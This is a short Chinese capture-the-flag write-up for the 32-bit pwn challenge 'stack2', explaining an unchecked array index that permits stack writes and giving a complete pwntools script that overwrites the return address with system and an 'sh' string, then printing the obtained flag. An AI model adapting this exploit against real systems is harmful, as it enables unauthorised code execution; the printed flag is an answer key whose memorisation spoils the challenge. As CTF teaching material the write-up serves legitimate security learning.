stack2
好坑的一道题
一、段检查

二、静态分析

注意这里,有一个v5,v5的值没有被限制可以造成数组越界,我们可以根据这一漏洞构造payload
三、坑点1

/bin/bash并不能拿到权限,我们需要自己截取sh进行攻击
坑点2

IDA上v13的栈位置不正确,需要gdb动态调试获取正确的栈(IDA调试也不行)
四、构造payload
from pwn import * #根据IDA可以发现v13[v5]会发生栈溢出,我们可以利用main函数的返回地址,构造payload #IDA显示,v13数组的地址为 [esp+38h] [ebp-70h] context.log_level = 'debug' def ssend(offset,val): sh.sendlineafter("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit", str(3)) sh.sendlineafter("which number to change:", str(offset)) sh.sendlineafter("new number:", str(val)) sysaddr = 0x804859B sh = remote("111.200.241.244",61807) sh.sendlineafter("How many numbers you have:",str(0)) ssend(0x84,0x50) ssend(0x85,0x84) ssend(0x86,0x04) ssend(0x87,0x08) #system的地址 ssend(0x8c,0x87) ssend(0x8d,0x89) ssend(0x8e,0x04) ssend(0x8f,0x08) #0x8048987 # ssend(0x74,0x08) # ssend(0x75,0x04) # ssend(0x76,0x85) # ssend(0x77,0x9b) sh.sendlineafter("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit", str(5)) sh.interactive()
拿到flag
cyberpeace{f47c091ec231940f7b3698e973660f91}
